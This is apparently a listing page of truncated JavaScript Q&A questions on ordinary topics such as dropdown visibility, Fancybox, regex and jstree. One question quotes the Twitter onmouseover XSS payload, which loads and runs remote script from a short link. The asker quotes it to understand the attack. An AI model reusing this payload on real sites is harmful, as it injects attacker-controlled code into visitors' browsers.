javascript

Set Default Visible Div in Dropdown Menu

Hello. I found a useful script that makes divs visible and hidden using a dropdown menu. The only problem is that all the divs are initially hidden, and I'd like the first one to be visible by default. Here's the script: <html> <head> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"> <title>Unt...

What is the best practice for loading a link/linking action into a Flash file?

I think there are probably three options: Load the link in as a flashvar and allow the Flash to open the URI Load the link into the Flash file using AJAX/AJAH and allow the Flash open the URI Just have the Flash file call a Javascript function that opens the URI Is one of these methods better than the other(s)? i.e., I'm working in ...

jQuery Fancybox use function to cut down code...

Hi, I'm using Fancybox to open a number of links from a menu and I wondered if there's a function to do this instead of writing out each one. I'm using: $("#linkID").fancybox({ 'padding' : 0, 'autoScale' : false, 'transitionIn' : 'fade', 'transitionOut' : 'fade' }); And I was trying to use: $(document).ready(function() { functi...

firefox disable/enable add-on in a specific page

Hi, I'm programming a system to work with in firefox, based on high end javascript. The users sometimes uses add-ons that conflict with the system. Is there a way i can control from my web-site to disable or enable specific firefox add-ons in a page? Thanks. ...

How to return absolute pixel coordinates of the end of a string in a text input?

I would like to be able to dynamically insert a div at the end of a string in a text input. For example, if I have a text input... MyInput: <input type="text" name="myInput" value="" /> ...and in their browser someone types... MyInput: Here is some sample input I would like to generate the div immediately after the word input. D...

Toggle the display of a text field with a checkbox

When Unlimited is checked, remove the input box. That works. However, when the checkbox is unchecked the input box wont show back up. <script type="text/javascript"> function getQuantity() { var checkbox = document.getElementById("unlimited"); var qty = document.getElementById("quantityspace"); if(checkbox.ch...

Refresh the parent window from the child window in javascript

Hello, I have looked for awhile and cannot find an answer that fits my needs. I have a page that pops a window (window.open), logs the user in (creates a cookie, set session) then redirects to another page. While the modal is redirecting, I would like to refresh the parent page, so all the good stuff that I just did will be recognized by...

broken javascript

I have a javascript function defined somewhere in the middle of my html/php based page like this - <script language="javascript" type="text/javascript"> function popitup2() { newwindow2=window.open('','name','height=265,width=350'); var tmp = newwindow2.document; tmp.write('<html><head><title>Coupon</title>'); tmp.write('<link...

JSF Navigation Question

Hi all, Can someone explain more about JSF page navigation to me? Basically, I understand that the action returns a string, that is mapped to a URL in a navigation rule. However, it seems like there is more to it, that I don't understand. My main problem is really that when I navigate away from a modal popup, using an action, it op...

Javascript regex assistance

I have the following javascript regex... .replace("/^(a-zA-Z\-)/gi", ''); It isn't complete... in fact it's wrong. Essentially what I need to do is take a string like "XJ FC-X35 (1492)" and remove the () and it's contents and the whitespace before the parenthesis. ...

best way to inject html using javascript

Hi, I'm hoping that this isn't too subjective. I feel there is a definitive answer so here goes. I want to create this html on the fly using JS (no libraries): <a href="#" id="playButton">Play</a> <a href="javascript: void(0)" id="muteUnmute">Mute</a> <div id="progressBarOuter"> <div id="bytesLoaded"></div> <div id="progressBar...

Reloading URL with GET variable in Jquery

I'm trying to reload a page with an appended variable in the URL, deviceID. It shows up in "realtime" div just fine. What am I doing wrong?: document.getElementById("realtime").innerHTML = "<pre>"+JSON.stringify(msg)+"</pre>"; var obj = jQuery.parseJSON(JSON.stringify(msg)); var deviceId = obj.deviceId; var p...

How can I load up jstree with inline Json?

Here's the jstree code: $("#tree").jstree({ "json_data": { "data": treedata, "progressive_render": true }, "plugins": ["themes", "json_data"] }); where treedata contains some Json. Unfortunately, nothing's rendering. The examples I've found are for ajax-loading the Json...

Rails: Returning a blank select option with observe_field?

I have an observe_field call in my app like this: = observe_field "marketSelect", :update => "merchantSelect", :with => "id", :url => { :controller => "markets", :action => "get_merchants" } That code activates the following action in my markets controller: @merchants = @market.merchants.sort_by { |merchants| merchants.name } Tha...

Fastest JavaScript summation

What is the fastest way to sum up an array in JavaScript? A quick search turns over a few different methods, but I would like a native solution if possible. This will run under SpiderMonkey. Thinking very inside-the-box I have been using: var count = 0; for(var i = 0; i < array.length; i++) { count = count + array[i]; } I'm sure...

Prevent website url in print from javascript

Hello (Prevent website url in print from javascript?) I am sure some simple solution exists. I have a webapp, and I use a specific css for printing this form, which is working great. However on each paper it always prints the "URL" for the webapp, which I do not want. I am not sure but I suppose it's the browser that automatically inclu...

$.getJSON problem

Hi, I am creating an object for handling youtube api. In my object I have to methods : getCommentList - getting a url for the current upload,for example http://gdata.youtube.com/feeds/api/videos/VIDEO_ID/comments?alt=json and return an array of objects - author of the comment and the content of the comment. getEntriesObject - returni...

Today's XSS onmouseover exploit on twitter.com

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link: http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ Is this technically an XSS attack or something else? Here is how the Twitter home page l...

De-select all html select options in a control that does not allow multiple selection

I have a web page with several HTML Select controls that all allow multiple selection. Next to each control we have a "Clear" button that de-selects all selected items in the control, with the onclick that looks something like this: <input type=button value="Clear" size=5 onclick="selectOptions('n.MyControl', false)"> The called Java...

Small Programming confusion regarding if else and else if in jquery

Say i have a table row with the two text boxes and i want to manipulate them based on the screens and some array values <tr id ="myrow" style="display:none"> <td> test1<input type="text" name="some" value ="some"> test2<input type="text" name="test2" value ="test2"> </td> </tr> i a...